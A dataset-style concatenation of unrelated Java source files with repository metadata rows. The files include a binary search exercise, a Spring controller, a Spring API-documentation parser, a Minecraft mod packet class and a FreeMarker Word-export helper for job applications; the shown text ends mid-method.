*/
public class HalfSearch {
private static final int [] arrs = new int[]{1,10,13,18,31,40,58,73,90};
public static void main(String[] args) {
int score = 40;
System.out.println(HalfOrder(arrs,score));
}
public static int HalfOrder(int[] arrgs,int a){
int low = 0;
int heigt = arrs.length;
while(low<=heigt){
int mid = (heigt+low)/2;
if(arrgs[mid]<a){
low = mid + 1;
}else if(arrgs[mid] >a){
heigt = mid - 1;
}else{
return mid;
}
System.out.println("aaaaa");
}
return -1 ;
}
}
|
3e0e51f2636084171beed20687962eaffce3c0cd | 405 | java | Java | ThingingCore/thinging-core/src/main/java/com/thinging/project/errors/COAPServerNotStartedException.java | ThingIng-projects/ThingIng_M | 9454d1b963dd1af318ce402fa16d45857f9b4769 | [
"Apache-2.0"
] | 2 | 2020-01-08T10:47:57.000Z | 2020-01-18T18:04:26.000Z | ThingingCore/thinging-core/src/main/java/com/thinging/project/errors/COAPServerNotStartedException.java | ArshavirH/ThingIng_M | 9454d1b963dd1af318ce402fa16d45857f9b4769 | [
"Apache-2.0"
] | null | null | null | ThingingCore/thinging-core/src/main/java/com/thinging/project/errors/COAPServerNotStartedException.java | ArshavirH/ThingIng_M | 9454d1b963dd1af318ce402fa16d45857f9b4769 | [
"Apache-2.0"
] | null | null | null | 23.823529 | 69 | 0.758025 | 6,074 | package com.thinging.project.errors;
import com.thinging.project.errors.utils.ErrorCode;
public class COAPServerNotStartedException extends RuntimeException {
private ErrorCode errorCode = ErrorCode.SERVER_NOT_STARTED;;
public COAPServerNotStartedException(final String errorMessage){
super(errorMessage);
}
public ErrorCode getErrorCode() {
return errorCode;
}
}
|
3e0e522fea6b8eab1c436e217d13f75b0d3a65bd | 374 | java | Java | src/main/java/org/alliancegenome/agr_submission/auth/Secured.java | README-Spelling-Bot/agr_chipmunk | 88f5038393667cf0cd1d6873dfe73b21e5538a8d | [
"MIT"
] | 1 | 2021-03-15T17:54:23.000Z | 2021-03-15T17:54:23.000Z | src/main/java/org/alliancegenome/agr_submission/auth/Secured.java | README-Spelling-Bot/agr_chipmunk | 88f5038393667cf0cd1d6873dfe73b21e5538a8d | [
"MIT"
] | 4 | 2021-12-14T21:18:36.000Z | 2022-02-28T01:33:04.000Z | src/main/java/org/alliancegenome/agr_submission/auth/Secured.java | README-Spelling-Bot/agr_chipmunk | 88f5038393667cf0cd1d6873dfe73b21e5538a8d | [
"MIT"
] | 5 | 2020-05-13T11:32:02.000Z | 2021-05-21T04:08:49.000Z | 20.777778 | 47 | 0.820856 | 6,075 | package org.alliancegenome.agr_submission.auth;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import javax.ws.rs.NameBinding;
@NameBinding
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.TYPE, ElementType.METHOD})
public @interface Secured {
}
|
3e0e524fb412a80670743f498b15586d7f886c18 | 1,541 | java | Java | src/main/java/com/xr/limiter/controller/BaseController.java | forvoyager/lite-limiter | 4d9d39df4fab197963f0cd18e2feb9db291894dd | [
"MIT"
] | null | null | null | src/main/java/com/xr/limiter/controller/BaseController.java | forvoyager/lite-limiter | 4d9d39df4fab197963f0cd18e2feb9db291894dd | [
"MIT"
] | null | null | null | src/main/java/com/xr/limiter/controller/BaseController.java | forvoyager/lite-limiter | 4d9d39df4fab197963f0cd18e2feb9db291894dd | [
"MIT"
] | null | null | null | 28.109091 | 85 | 0.768435 | 6,076 | package com.xr.limiter.controller;
import com.xr.limiter.util.FreemarkerUtil;
import com.xr.limiter.util.Utils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @Author: nnheo@example.com
* @Time: 2019-09-06 10:46
* @Description:
*/
@Controller
@RequestMapping(BaseController.BASE_PATH)
public class BaseController {
public static final String BASE_PATH = "/limiter";
protected FreemarkerUtil freemarkerUtil;
private HttpServletResponse response;
private HttpServletRequest request;
@RequestMapping("/index")
public void index() throws Exception {
response.setContentType("text/html");
parseView(freemarkerUtil.parse("index", Utils.newHashMap()));
}
protected void parseView(String content) throws IOException {
ServletOutputStream out = response.getOutputStream();
out.write(content.getBytes("UTF-8"));
out.flush();
out.close();
}
@Autowired
public void setFreemarkerUtil() throws IOException {
this.freemarkerUtil = new FreemarkerUtil();
}
@ModelAttribute
private final void init(HttpServletRequest request, HttpServletResponse response) {
this.request = request;
this.response = response;
}
}
|
3e0e52a516682c007b360d1f051fa551f253e0f6 | 6,004 | java | Java | src/main/java/com/ron/easydoc/basic/template/vo/spring/SpringMvcApiMember.java | Mr-zuo/easydoc | b4ab569d45cb1fd183da6e927a87c534992ca039 | [
"Apache-2.0"
] | 3 | 2021-06-05T04:26:06.000Z | 2022-03-30T03:27:46.000Z | src/main/java/com/ron/easydoc/basic/template/vo/spring/SpringMvcApiMember.java | Mr-zuo/easydoc | b4ab569d45cb1fd183da6e927a87c534992ca039 | [
"Apache-2.0"
] | null | null | null | src/main/java/com/ron/easydoc/basic/template/vo/spring/SpringMvcApiMember.java | Mr-zuo/easydoc | b4ab569d45cb1fd183da6e927a87c534992ca039 | [
"Apache-2.0"
] | null | null | null | 27.925581 | 122 | 0.565123 | 6,077 | package com.ron.easydoc.basic.template.vo.spring;
import com.ron.easydoc.basic.element.*;
import com.ron.easydoc.basic.template.vo.DocApiMember;
import com.ron.easydoc.basic.utils.StringUtils;
import org.springframework.util.CollectionUtils;
import java.util.List;
/**
* @author ron
* @date 2021年05月20日
*/
public abstract class SpringMvcApiMember implements DocApiMember {
protected Member member;
private String apiName;
private String apiDescription;
private String requestMethod;
private String requestPath;
public boolean isPostJson() {
return isPostJson;
}
private boolean isPostJson; //是否是json提交
@Override
public String getNeedLogin() {
return "";
}
public SpringMvcApiMember(Member member) {
this.member = member;
//解析名称
apiName = parseApiName();
//解析描述
apiDescription = parseApiDescription();
//解析请求类型
String requestType = parseRequestType();
if("json".equals(requestType)){
requestMethod = "POST(application/json)";
isPostJson = true;
}else{
//解析请求方法
requestMethod = parseRequestMethod();
}
//解析请求地址
requestPath = parseRequestPath();
if(StringUtils.isEmpty(apiName)){
//如果名称不存在,则进行兼容,尝试获取请求地址名称,如果没有设置则获取类名或者方法名作为名称
if(!StringUtils.isEmpty(requestPath)){
String[] pathArr = requestPath.split("/");
apiName = pathArr[pathArr.length - 1];
}else{
apiName = member.getName();
}
}
}
private String parseApiName(){
Annotation annotation = member.getAnnotationByName("ApiOperation");
if(annotation != null){
if(annotation instanceof NormalAnnotation){
NormalAnnotation normalAnnotation = (NormalAnnotation)annotation;
return normalAnnotation.getValue("value");
}
}
return member.getCommentName();
}
private String parseApiDescription(){
//兼容swagger 优先返回swagger
Annotation annotation = member.getAnnotationByName("ApiOperation");
if(annotation != null){
if(annotation instanceof NormalAnnotation){
NormalAnnotation normalAnnotation = (NormalAnnotation)annotation;
return normalAnnotation.getValue("value");
}
}
return member.getCommentDesc();
}
private String parseRequestType(){
if(member instanceof Method){
List<MethodParam> params = ((Method)member).getParams();
if(!CollectionUtils.isEmpty(params)) {
for (MethodParam methodParam : params) {
if(methodParam.getAnnotationByName("RequestBody") != null){
return "json";
}
}
}
}
return "form";
}
private String parseRequestMethod(){
Annotation getAnnotation = member.getAnnotationByName("GetMapping");
if (getAnnotation != null) {
return "GET";
}
Annotation postAnnotation = member.getAnnotationByName("PostMapping");
if (postAnnotation != null) {
return "POST";
}
Annotation putAnnotation = member.getAnnotationByName("PutMapping");
if (putAnnotation != null) {
return "PUT";
}
Annotation deleteMapping = member.getAnnotationByName("DeleteMapping");
if (deleteMapping != null) {
return "DELETE";
}
Annotation annotation = member.getAnnotationByName("RequestMapping");
if(annotation != null){
if(annotation instanceof NormalAnnotation){
NormalAnnotation normalAnnotation = (NormalAnnotation)annotation;
String method = normalAnnotation.getValue("method");
return StringUtils.isEmpty(method)?"GET, POST":method.replaceAll("(RequestMethod\\.)|\\{|\\}", "").trim();
}
}
return "GET,POST";
}
private String parseRequestPath(){
Annotation annotation = member.getAnnotationByName("RequestMapping");
if (annotation == null) {
annotation = member.getAnnotationByName("GetMapping");
}
if (annotation == null) {
annotation = member.getAnnotationByName("PostMapping");
}
if (annotation == null) {
annotation = member.getAnnotationByName("PutMapping");
}
if (annotation == null) {
annotation = member.getAnnotationByName("DeleteMapping");
}
String path = "";
if(annotation != null){
if(annotation instanceof SingleAnnotation){
path = ((SingleAnnotation)annotation).getValue();
}else if(annotation instanceof NormalAnnotation){
NormalAnnotation normalAnnotation = (NormalAnnotation)annotation;
path = normalAnnotation.getValue("value");
if(path == null){
path = normalAnnotation.getValue("path");
}
if(path.contains("\"")){
path = path.substring(1);
path = path.substring(0, path.length()-1);
path = path.replace("\"","").trim();
if(path.contains(",")){
//说明有多个
path = "["+path+"]";
}
}
}
}
if(path.endsWith("/")){
path = path.substring(0, path.length()-1);
}
return path;
}
public String getApiName() {
return apiName;
}
public String getApiDescription() {
return apiDescription;
}
public String getRequestMethod() {
return requestMethod;
}
public String getRequestPath() {
return requestPath;
}
}
|
3e0e53134b9e4a5ab652f88e14db9f1d9d75998b | 1,837 | java | Java | src/main/java/slimeknights/tconstruct/tables/network/UpdateCraftingRecipePacket.java | Alpha-s-Stuff/TinkersConstruct | e5adda30f8f07eacf7bb262efbe997f4480afce7 | [
"MIT"
] | 5 | 2022-03-01T16:31:05.000Z | 2022-03-26T12:53:40.000Z | src/main/java/slimeknights/tconstruct/tables/network/UpdateCraftingRecipePacket.java | Alpha-s-Stuff/TinkersConstruct | e5adda30f8f07eacf7bb262efbe997f4480afce7 | [
"MIT"
] | null | null | null | src/main/java/slimeknights/tconstruct/tables/network/UpdateCraftingRecipePacket.java | Alpha-s-Stuff/TinkersConstruct | e5adda30f8f07eacf7bb262efbe997f4480afce7 | [
"MIT"
] | 3 | 2022-03-01T17:06:35.000Z | 2022-03-26T12:53:37.000Z | 35.326923 | 125 | 0.773544 | 6,078 | package slimeknights.tconstruct.tables.network;
import net.minecraft.client.Minecraft;
import net.minecraft.core.BlockPos;
import net.minecraft.network.FriendlyByteBuf;
import net.minecraft.resources.ResourceLocation;
import net.minecraft.world.item.crafting.CraftingRecipe;
import net.minecraft.world.level.Level;
import slimeknights.mantle.network.packet.IThreadsafePacket;
import slimeknights.mantle.recipe.helper.RecipeHelper;
import slimeknights.mantle.util.BlockEntityHelper;
import slimeknights.tconstruct.tables.block.entity.table.CraftingStationBlockEntity;
/**
* Packet to send the current crafting recipe to a player who opens the crafting station
*/
public class UpdateCraftingRecipePacket implements IThreadsafePacket {
private final BlockPos pos;
private final ResourceLocation recipe;
public UpdateCraftingRecipePacket(BlockPos pos, CraftingRecipe recipe) {
this.pos = pos;
this.recipe = recipe.getId();
}
public UpdateCraftingRecipePacket(FriendlyByteBuf buffer) {
this.pos = buffer.readBlockPos();
this.recipe = buffer.readResourceLocation();
}
@Override
public void encode(FriendlyByteBuf buffer) {
buffer.writeBlockPos(pos);
buffer.writeResourceLocation(recipe);
}
@Override
public void handleThreadsafe(Context context) {
HandleClient.handle(this);
}
/** Safely runs client side only code in a method only called on client */
private static class HandleClient {
private static void handle(UpdateCraftingRecipePacket packet) {
Level world = Minecraft.getInstance().level;
if (world != null) {
BlockEntityHelper.get(CraftingStationBlockEntity.class, world, packet.pos).ifPresent(te ->
RecipeHelper.getRecipe(world.getRecipeManager(), packet.recipe, CraftingRecipe.class).ifPresent(te::updateRecipe));
}
}
}
}
|
3e0e533076e494d176d450384b553fe79e948457 | 36,905 | java | Java | src/main/java/net/duckling/dhome/web/helper/MDoc.java | ducklingcloud/dhome | e006d68bc3ea04bcd046f1338fd2d3a220d90d54 | [
"Apache-2.0"
] | null | null | null | src/main/java/net/duckling/dhome/web/helper/MDoc.java | ducklingcloud/dhome | e006d68bc3ea04bcd046f1338fd2d3a220d90d54 | [
"Apache-2.0"
] | null | null | null | src/main/java/net/duckling/dhome/web/helper/MDoc.java | ducklingcloud/dhome | e006d68bc3ea04bcd046f1338fd2d3a220d90d54 | [
"Apache-2.0"
] | 1 | 2020-06-08T03:51:13.000Z | 2020-06-08T03:51:13.000Z | 41.373318 | 198 | 0.598699 | 6,079 | /*
* Copyright (c) 2008-2016 Computer Network Information Center (CNIC), Chinese Academy of Sciences.
*
* This file is part of Duckling project.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package net.duckling.dhome.web.helper;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.io.UnsupportedEncodingException;
import java.io.Writer;
import java.math.BigDecimal;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import net.duckling.common.util.DateUtils;
import net.duckling.dhome.domain.institution.InstitutionAcademic;
import net.duckling.dhome.domain.institution.InstitutionAuthor;
import net.duckling.dhome.domain.institution.InstitutionAward;
import net.duckling.dhome.domain.institution.InstitutionCopyright;
import net.duckling.dhome.domain.institution.InstitutionDepartment;
import net.duckling.dhome.domain.institution.InstitutionJobApply;
import net.duckling.dhome.domain.institution.InstitutionMemberFromVmt;
import net.duckling.dhome.domain.institution.InstitutionOptionVal;
import net.duckling.dhome.domain.institution.InstitutionPaper;
import net.duckling.dhome.domain.institution.InstitutionPatent;
import net.duckling.dhome.domain.institution.InstitutionPublication;
import net.duckling.dhome.domain.institution.InstitutionTopic;
import net.duckling.dhome.domain.institution.InstitutionTraining;
import net.duckling.dhome.domain.people.Education;
import net.duckling.dhome.domain.people.SimpleUser;
import net.duckling.dhome.domain.people.Work;
import net.duckling.dhome.common.util.BrowseUtils;
import com.itextpdf.text.pdf.AcroFields;
import com.itextpdf.text.pdf.BaseFont;
import com.itextpdf.text.pdf.PdfCopyFields;
import com.itextpdf.text.pdf.PdfReader;
import com.itextpdf.text.pdf.PdfStamper;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
/**
* 生成word文件模版
* @author wlj
*
*/
public class MDoc {
private static Configuration configuration = null;
public MDoc() {
configuration = new Configuration();
configuration.setDefaultEncoding("utf-8");
}
public static File createDoc(Map<String,Object> dataMap,String fileName) throws UnsupportedEncodingException {
//dataMap 要填入模本的数据文件
//设置模本装置方法和路径,FreeMarker支持多种模板装载方法。可以重servlet,classpath,数据库装载,
//这里我们的模板是放在template包下面
String prefix = MDoc.class.getResource("/").getPath();
File file = new File(new File(prefix).getParent(),"/conf");
File cacheDir = new File(new File(prefix).getParent(),"cache");
if(!cacheDir.exists())
cacheDir.mkdir();
// configuration.setClassForTemplateLoading(this.getClass(), "/conf");
Template t=null;
try {
configuration.setDirectoryForTemplateLoading(file);
//test.ftl为要装载的模板
t = configuration.getTemplate("wordTempl.ftl");
} catch (IOException e) {
e.printStackTrace();
}
//输出文档路径及名称
File outFile = new File(cacheDir,fileName);
Writer out = null;
FileOutputStream fos=null;
try {
fos = new FileOutputStream(outFile);
OutputStreamWriter oWriter = new OutputStreamWriter(fos,"UTF-8");
//这个地方对流的编码不可或缺,使用main()单独调用时,应该可以,但是如果是web请求导出时导出后word文档就会打不开,并且包XML文件错误。主要是编码格式不正确,无法解析。
//out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(outFile)));
out = new BufferedWriter(oWriter);
} catch (FileNotFoundException e1) {
e1.printStackTrace();
}
try {
t.process(dataMap, out);
out.close();
fos.close();
} catch (TemplateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return outFile;
}
public static void getJobApplys(String fileName, HttpServletResponse resp,InstitutionMemberFromVmt member,SimpleUser user,InstitutionJobApply jobApply,
List<Work> works,List<Education> edus,List<InstitutionPaper> firstPapers,List<InstitutionPaper> otherPapers,
Map<Integer,List<InstitutionAuthor>> authorMap,Map<Integer,List<InstitutionAuthor>> otherAuthorMap,
Map<Integer,InstitutionAuthor> authors,Map<Integer,InstitutionPublication> pubMap,List<InstitutionTopic> topics,
List<InstitutionPatent> patents,List<InstitutionCopyright> copyrights,List<InstitutionAward> awards,
List<InstitutionAcademic> academics,List<InstitutionTraining> trainings,Map<Integer,InstitutionOptionVal> awardTypes,
Map<Integer,InstitutionOptionVal> awardGrades,Map<Integer,InstitutionOptionVal> organizationNames,Map<Integer,InstitutionOptionVal> positions,
Map<Integer,InstitutionOptionVal> types,Map<Integer,InstitutionOptionVal> degrees,int papersCount,int allSciCount,
List<InstitutionPaper> allFirstPapers,int allFirstSciCount,int otherSciCount,Double allIf,Double firstIf,Double otherIf,Double allFirstIf,HttpServletRequest request ){
Map<String, Object> dataMap = new HashMap<String, Object>();
dataMap.put("name", user.getZhName());
if(member.getSex()==null||"".equals(member.getSex())){
dataMap.put("sex", "");
}else if(member.getSex().equals("male")){
dataMap.put("sex", "男");
}else if(member.getSex().equals("female")){
dataMap.put("sex", "女");
}else{
dataMap.put("sex", "");
}
Calendar cl = Calendar.getInstance();
if(member.getBirth()!=null&&"".equals(member.getBirth())){
cl.setTime(member.getBirth());
dataMap.put("year", cl.get(Calendar.YEAR));
}else{
dataMap.put("year", "");
}
Map<Integer,String> positionMap=new HashMap<Integer,String>();
positionMap.put(1, "研究员");
positionMap.put(2, "副研究员");
positionMap.put(3, "正研级高工");
positionMap.put(4, "高级工程师");
positionMap.put(5, "编审");
positionMap.put(6, "副编审");
positionMap.put(7, "高级实验师");
dataMap.put("position", positionMap.get(jobApply.getJobId()));
//教育工作经历
List<Map<String, Object>> list1 = new ArrayList<Map<String, Object>>();//题目
// List<Map<String, Object>> list11 = new ArrayList<Map<String, Object>>();//答案
String str="";
// Calendar cl = Calendar.getInstance();
if(works!=null){
for (int i = 0; i < works.size(); i++) {
str+=works.get(i).getAliasInstitutionName()+" "+works.get(i).getDepartment();
if(works.get(i).getDepartment()!=null&&!"".equals(works.get(i).getDepartment())){
str+=","+works.get(i).getPosition()+"|";
// Calendar cl = Calendar.getInstance();
if(works.get(i).getBeginTime()!=null){
cl.setTime(works.get(i).getBeginTime());
str+=cl.get(Calendar.YEAR)+"."+cl.get(Calendar.MONTH)+"."+cl.get(Calendar.DAY_OF_MONTH);
}
if(works.get(i).getEndTime()!=null){
cl.setTime(works.get(i).getEndTime());
if(cl.get(Calendar.YEAR)== 3000){
str+="-"+"至今"+"\r\n";
}else{
str+="-"+cl.get(Calendar.YEAR)+"."+cl.get(Calendar.MONTH)+"."+cl.get(Calendar.DAY_OF_MONTH)+"\r\n";
}
}
}
Map<String, Object> map = new HashMap<String, Object>();
map.put("work", str);
str="";
list1.add(map);
}
}
if(edus!=null){
for (int i = 0; i < edus.size(); i++) {
str+=edus.get(i).getAliasInstitutionName()+" "+edus.get(i).getDepartment()+","+edus.get(i).getDegree()+"|";
// Calendar cl = Calendar.getInstance();
cl.setTime(edus.get(i).getBeginTime());
str+=cl.get(Calendar.YEAR)+"."+cl.get(Calendar.MONTH)+"."+cl.get(Calendar.DAY_OF_MONTH)+"-";
cl.setTime(edus.get(i).getEndTime());
if(cl.get(Calendar.YEAR)== 3000){
str+="至今"+"\r\n";
}else{
str+=cl.get(Calendar.YEAR)+"."+cl.get(Calendar.MONTH)+"."+cl.get(Calendar.DAY_OF_MONTH)+"\r\n";
}
Map<String, Object> map = new HashMap<String, Object>();
map.put("work", str);
list1.add(map);
str="";
}
}
dataMap.put("table1", list1);
// dataMap.put("table11", list11);
//工作业绩
dataMap.put("performance",jobApply.getJobPerformance());
// 论文
List<Map<String, Object>> list2 = new ArrayList<Map<String, Object>>();
// List<Map<String, Object>> list12 = new ArrayList<Map<String, Object>>();
String firstPaper="";
String otherPaper="";
int j=1;
// Map<Integer,InstitutionPublication> pubMap = extractPub(paperService.getAllPubs());
for (int i=1;i<=firstPapers.size();i++) {
if(pubMap.get(firstPapers.get(i-1).getPublicationId()).getPublicationType().equals("SCI")){
firstPaper+="("+j+") ";
j++;
for (InstitutionAuthor au : authorMap.get(firstPapers.get(i-1).getId())) {
firstPaper+=au.getAuthorName()+",";
}
firstPaper+=firstPapers.get(i-1).getPublicationYear()+":"+firstPapers.get(i-1).getTitle()+"."+
pubMap.get(firstPapers.get(i-1).getPublicationId()).getPubName()+","+firstPapers.get(i-1).getVolumeNumber()+"("+
firstPapers.get(i-1).getSeries()+"),"+firstPapers.get(i-1).getPublicationPage();
if(firstPapers.get(i-1).getDoi()!=null){
firstPaper+=",doi:"+firstPapers.get(i-1).getDoi();
}
firstPaper+=". 【SCI】";
for (InstitutionAuthor au : authorMap.get(firstPapers.get(i-1).getId())) {
if(authors.get(au.getId())!=null){
if(au.isCommunicationAuthor()==true){
firstPaper+="【通讯作者】";
}
if(au.getOrder()==2){
if((au.isAuthorStudent()==true)||(au.isAuthorTeacher()==true)){
firstPaper+="【学生在读】";
}
}
}
}
firstPaper+="\r\n";
}
Map<String, Object> map = new HashMap<String, Object>();
if(firstPaper!=""){
map.put("firstPaper", firstPaper);
list2.add(map);
}
firstPaper="";
}
dataMap.put("count2",String.valueOf(j-1+otherSciCount));
dataMap.put("count4",String.valueOf(j-1));
for (int i=1;i<=firstPapers.size();i++) {
if(!pubMap.get(firstPapers.get(i-1).getPublicationId()).getPublicationType().equals("SCI")){
firstPaper+="("+j+") ";
j++;
for (InstitutionAuthor au : authorMap.get(firstPapers.get(i-1).getId())) {
firstPaper+=au.getAuthorName()+",";
}
firstPaper+=firstPapers.get(i-1).getPublicationYear()+":"+firstPapers.get(i-1).getTitle()+"."+
pubMap.get(firstPapers.get(i-1).getPublicationId()).getPubName()+","+firstPapers.get(i-1).getVolumeNumber()+"("+
firstPapers.get(i-1).getSeries()+"),"+firstPapers.get(i-1).getPublicationPage();
if(firstPapers.get(i-1).getDoi()!=null){
firstPaper+=",doi:"+firstPapers.get(i-1).getDoi();
}
firstPaper+=". ";
for (InstitutionAuthor au : authorMap.get(firstPapers.get(i-1).getId())) {
if(authors.get(au.getId())!=null){
if(au.isCommunicationAuthor()==true){
firstPaper+="【通讯作者】";
}
if(au.getOrder()==2){
if((au.isAuthorStudent()==true)||(au.isAuthorTeacher()==true)){
firstPaper+="【学生在读】";
}
}
}
}
firstPaper+="\r\n";
}
Map<String, Object> map = new HashMap<String, Object>();
if(firstPaper!=""){
map.put("firstPaper", firstPaper);
list2.add(map);
}
firstPaper="";
}
dataMap.put("table2", list2);
List<Map<String, Object>> list3 = new ArrayList<Map<String, Object>>();
int k=1;
for (int i=1;i<=otherPapers.size();i++) {
if(pubMap.get(otherPapers.get(i-1).getPublicationId()).getPublicationType().equals("SCI")){
otherPaper+="("+k+") ";
k++;
for (InstitutionAuthor au : otherAuthorMap.get(otherPapers.get(i-1).getId())) {
otherPaper+=au.getAuthorName()+",";
}
otherPaper+=otherPapers.get(i-1).getPublicationYear()+":"+otherPapers.get(i-1).getTitle()+"."+
pubMap.get(otherPapers.get(i-1).getPublicationId()).getPubName()+","+otherPapers.get(i-1).getVolumeNumber()+"("+
otherPapers.get(i-1).getSeries()+"),"+otherPapers.get(i-1).getPublicationPage();
if(otherPapers.get(i-1).getDoi()!=null){
otherPaper+=",doi:"+otherPapers.get(i-1).getDoi();
}
otherPaper+=". 【SCI】";
for (InstitutionAuthor au : otherAuthorMap.get(otherPapers.get(i-1).getId())) {
if(authors.get(au.getId())!=null){
if(au.isCommunicationAuthor()==true){
otherPaper+="【通讯作者】";
}
if(au.getOrder()==2){
if((au.isAuthorStudent()==true)||(au.isAuthorTeacher()==true)){
otherPaper+="【学生在读】";
}
}
}
}
otherPaper+="\r\n";
}
Map<String, Object> map = new HashMap<String, Object>();
if(otherPaper!=""){
map.put("otherPaper", otherPaper);
list3.add(map);
}
otherPaper="";
}
for (int i=1;i<=otherPapers.size();i++) {
if(!pubMap.get(otherPapers.get(i-1).getPublicationId()).getPublicationType().equals("SCI")){
otherPaper+="("+k+") ";
k++;
for (InstitutionAuthor au : otherAuthorMap.get(otherPapers.get(i-1).getId())) {
otherPaper+=au.getAuthorName()+",";
}
otherPaper+=otherPapers.get(i-1).getPublicationYear()+":"+otherPapers.get(i-1).getTitle()+"."+
pubMap.get(otherPapers.get(i-1).getPublicationId()).getPubName()+","+otherPapers.get(i-1).getVolumeNumber()+"("+
otherPapers.get(i-1).getSeries()+"),"+otherPapers.get(i-1).getPublicationPage();
if(otherPapers.get(i-1).getDoi()!=null){
otherPaper+=",doi:"+otherPapers.get(i-1).getDoi();
}
otherPaper+=". ";
for (InstitutionAuthor au : otherAuthorMap.get(otherPapers.get(i-1).getId())) {
if(authors.get(au.getId())!=null){
if(au.isCommunicationAuthor()==true){
otherPaper+="【通讯作者】";
}
if(au.getOrder()==2){
if((au.isAuthorStudent()==true)||(au.isAuthorTeacher()==true)){
otherPaper+="【学生在读】";
}
}
}
}
otherPaper+="\r\n";
}
Map<String, Object> map = new HashMap<String, Object>();
if(otherPaper!=""){
map.put("otherPaper", otherPaper);
list3.add(map);
}
otherPaper="";
}
dataMap.put("table3", list3);
//论文数量
dataMap.put("allcount1",papersCount);
dataMap.put("allcount2",allSciCount);
dataMap.put("allcount3",allFirstPapers.size());
dataMap.put("allcount4",allFirstSciCount);
dataMap.put("count1",firstPapers.size()+otherPapers.size());
dataMap.put("count3",firstPapers.size());
dataMap.put("allIf",allIf);
dataMap.put("allfirstIf",allFirstIf);
BigDecimal bd1 = new BigDecimal(Double.toString(otherIf));
BigDecimal bd2 = new BigDecimal(Double.toString(firstIf));
dataMap.put("ifs",bd1.add(bd2).doubleValue());
dataMap.put("firstIf",firstIf);
//课题
List<Map<String, Object>> list4 = new ArrayList<Map<String, Object>>();
for(int i = 1; i <= topics.size(); i++){
InstitutionTopic topic = topics.get(i-1);
Map<String, Object> map = new HashMap<String, Object>();
map.put("topic_name", topic.getName());
map.put("topic_type", types.get(topic.getType()).getVal());
map.put("topic_cost", topic.getProject_cost());
if(topic.getRole().equals("admin")){
map.put("topic_role", "负责人");
}
if(topic.getRole().equals("member")){
map.put("topic_role", "参与人");
}
map.put("topic_time", topic.getStart_year()+"."+topic.getStart_month() + " - " +
topic.getEnd_year()+"."+topic.getEnd_month());
list4.add(map);
}
dataMap.put("table4", list4);
//专利与成果
List<Map<String, Object>> list5 = new ArrayList<Map<String, Object>>();
for(int i = 1; i <= patents.size(); i++){
InstitutionPatent patent = patents.get(i-1);
Map<String, Object> map = new HashMap<String, Object>();
map.put("patent_name", patent.getName());
list5.add(map);
}
for(int i = 1; i <= copyrights.size(); i++){
InstitutionCopyright copyright = copyrights.get(i-1);
Map<String, Object> map = new HashMap<String, Object>();
map.put("patent_name", copyright.getName());
list5.add(map);
}
dataMap.put("table5", list5);
//奖励
List<Map<String, Object>> list6 = new ArrayList<Map<String, Object>>();
for(int i = 1; i <= awards.size(); i++){
InstitutionAward award = awards.get(i-1);
Map<String, Object> map = new HashMap<String, Object>();
map.put("award_year", award.getYear());
map.put("award_type", awardTypes.get(award.getType()).getVal());
map.put("award_name", award.getName());
map.put("award_grade", awardGrades.get(award.getGrade()).getVal());
map.put("award_order", award.getAuthorOrder());
list6.add(map);
}
dataMap.put("table6", list6);
//学术任职
List<Map<String, Object>> list7 = new ArrayList<Map<String, Object>>();
for(int i = 1; i <= academics.size(); i++){
InstitutionAcademic aca = academics.get(i-1);
Map<String, Object> map = new HashMap<String, Object>();
map.put("academic_name", organizationNames.get(aca.getName()).getVal());
map.put("academic_position", positions.get(aca.getPosition()).getVal());
map.put("academic_time", aca.getStartYear()+"."+aca.getStartMonth() + " - " +
aca.getEndYear()+"."+aca.getEndMonth());
list7.add(map);
}
dataMap.put("table7", list7);
int count1=0;
int count2=0;
String docNames="";
String masterNames="";
for (InstitutionTraining training : trainings) {
if(degrees.get(training.getDegree()).getVal().equals("博士")){
count1++;
docNames+=training.getStudentName()+" ";
}
if(degrees.get(training.getDegree()).getVal().equals("硕士")){
count2++;
masterNames+=training.getStudentName()+" ";
}
}
dataMap.put("dcount",count1==0?"0":String.valueOf(count1));
dataMap.put("dnames",docNames);
dataMap.put("mcount",count2==0?"0":String.valueOf(count2));
dataMap.put("mnames",masterNames);
dataMap.put("remark",jobApply.getRemark());
MDoc doc= new MDoc();
File file = null;
InputStream fin = null;
ServletOutputStream out = null;
try{
file=createDoc(dataMap, fileName);
fin = new FileInputStream(file);
resp.setCharacterEncoding("utf-8");
resp.setContentType("application/msword");
// 设置浏览器以下载的方式处理该文件默认名为resume.doc
// resp.addHeader("Content-Disposition", "attachment;filename="+new String( fileName.getBytes("utf-8"), "ISO8859-1" )+".doc");
resp.setHeader("Content-Disposition", BrowseUtils.encodeFileName(request.getHeader("User-Agent"),fileName+".doc"));
out = resp.getOutputStream();
byte[] buffer = new byte[512]; // 缓冲区
int bytesToRead = -1;
// 通过循环将读入的Word文件的内容输出到浏览器中
while((bytesToRead = fin.read(buffer)) != -1) {
out.write(buffer, 0, bytesToRead);
}
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
